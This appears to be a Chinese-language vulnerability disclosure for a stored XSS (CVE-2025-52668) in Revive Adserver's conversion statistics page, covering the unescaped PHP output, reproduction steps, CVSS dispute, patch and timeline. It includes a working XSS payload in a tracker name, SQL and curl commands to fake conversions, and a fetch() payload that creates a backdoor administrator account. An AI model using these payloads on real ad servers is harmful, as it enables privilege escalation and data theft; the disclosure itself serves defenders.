Revive Adserver 追踪器名称存储型XSS漏洞分析与技术细节

本文详细分析了Revive Adserver在转换统计页面中存在的存储型跨站脚本(XSS)漏洞。攻击者可通过广告商的追踪器名称注入恶意代码,当管理员查看转换报告时,代码会在其浏览器上下文中执行,导致权限提升和潜在的数据泄露。

Revive Adserver 存储型XSS漏洞报告

漏洞概述

报告ID: #3400506 漏洞类型: 存储型跨站脚本攻击 (Stored XSS) CVE ID: CVE-2025-52668 影响系统: Revive Adserver 6.0.1 组件: 统计/转换报告 (www/admin/stats-conversions.php:356) 严重程度: 高 (8.7)

技术细节

受影响代码

漏洞位于 www/admin/stats-conversions.php 文件的第356行,跟踪器名称未经适当转义直接输出:

1
2
3
4
// www/admin/stats-conversions.php:356
echo "<td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['trackername']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignid']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignname']}</td>";

漏洞原理

  1. 输出未经转义: 跟踪器名称直接使用 echo 输出,未经过 htmlspecialchars() 处理
  2. 数据来源不可信: 跟踪器名称由广告商在创建跟踪器时控制输入
  3. 存储时未验证: 存储时未对HTML标签进行过滤或清理
  4. 高权限执行: 管理员查看转换报告时,恶意代码在其浏览器上下文中执行

复现步骤

环境要求

  • 广告商账户(低权限)
  • 管理员账户(用于测试影响)

攻击流程

  1. 创建恶意跟踪器

    • 以广告商身份登录
    • 导航至:Inventory → Advertisers → Trackers tab
    • 添加新跟踪器
    • 设置跟踪器名称为:<img src=x onerror="alert('XSS: ' + document.cookie)">
  2. 生成转换记录

    1
    2
    3
    4
    5
    
    -- 将转换关联到恶意跟踪器
    INSERT INTO rv_data_intermediate_ad_connection (
        tracker_id, ad_id, inside_window, tracker_date_time,
        connection_date_time, connection_action, connection_status, updated
    ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW());
    
  3. 触发XSS

    • 以管理员身份登录
    • 访问:http://[host]/www/admin/stats.php?entity=conversions&clientid=1
    • JavaScript弹窗立即执行:XSS: sessionID=abc123; ox_install_session_id=def456

攻击影响分析

会话劫持与会话挟持

尽管HttpOnly标志阻止了直接的cookie窃取,但攻击仍然有效:

  1. 会话挟持(有效)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    // 即使有HttpOnly,这仍然有效:
    const csrf = document.querySelector('[name=token]').value; // 从页面DOM获取CSRF令牌
    
    fetch('/www/admin/account-user-edit.php', {
      method: 'POST',
      credentials: 'include', // 浏览器自动发送HttpOnly cookie
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + csrf
    });
    
  2. 攻击能力

    • 创建管理员账户
    • 修改竞争对手的广告活动状态
    • 访问所有广告商数据
    • 导出用户列表
    • 执行任何管理员权限操作

技术讨论

攻击复杂性

厂商观点

  • 需要实际的转换数据,而第三方cookie限制使得转换变得罕见
  • 攻击复杂性高

研究人员反驳

  • 可通过curl命令自生成转换,无需真实用户互动:
    1
    2
    3
    4
    
    # 1. 创建恶意跟踪器
    # 2. 自生成转换:
    curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)"
    curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)"
    

CVSS评分争议

初始评分(厂商):2.6(低) 最终评分:8.7(高)

评分调整依据

指标 厂商评分 研究人员评分 理由
攻击复杂度 可通过curl自生成转换
范围 未改变 已改变 从广告商权限提升至管理员权限
机密性 可通过fetch()窃取转换数据、活动信息
完整性 可通过会话挟持创建管理员账户、修改系统配置

漏洞修复

厂商提供的补丁文件:h1-3400506.patch (F4940909)

修复方案

trackernamecampaignidcampaignname的输出进行适当的HTML转义:

1
2
3
4
// 修复后代码应类似:
echo "<td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>" . htmlspecialchars($conversion['trackername']) . "</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>" . htmlspecialchars($conversion['campaignid']) . "</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>" . htmlspecialchars($conversion['campaignname']) . "</td>";

其他发现

  1. 相关漏洞:第357-358行同样缺少htmlspecialchars()处理
  2. 影响范围:其他stats-*.php文件可能存在类似问题
  3. 配置说明stats-conversions.php页面在全新安装中默认不包含在菜单系统中,但这不影响漏洞存在

时间线

  • 2025年10月26日:漏洞报告提交
  • 2025年10月27日:厂商确认为有效漏洞,初始评分为2.6(低)
  • 2025年10月27-28日:技术讨论后评分调整为8.7(高)
  • 2025年10月28日:提供修复补丁
  • 2025年11月4日:分配CVE-2025-52668
  • 2025年11月19日:公开披露

安全建议

  1. 输入验证:对所有用户输入进行适当的验证和清理
  2. 输出编码:在输出到HTML前使用htmlspecialchars()等函数进行编码
  3. 最小权限原则:限制低权限用户对敏感功能的访问
  4. 内容安全策略:实施CSP头以减少XSS攻击的影响
  5. 定期安全审计:对关键代码路径进行安全审查

研究人员: Vitaly Simonovich (cyberjoker)
厂商联系人: mbeccati, erikgeurts (Revive Adserver团队)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计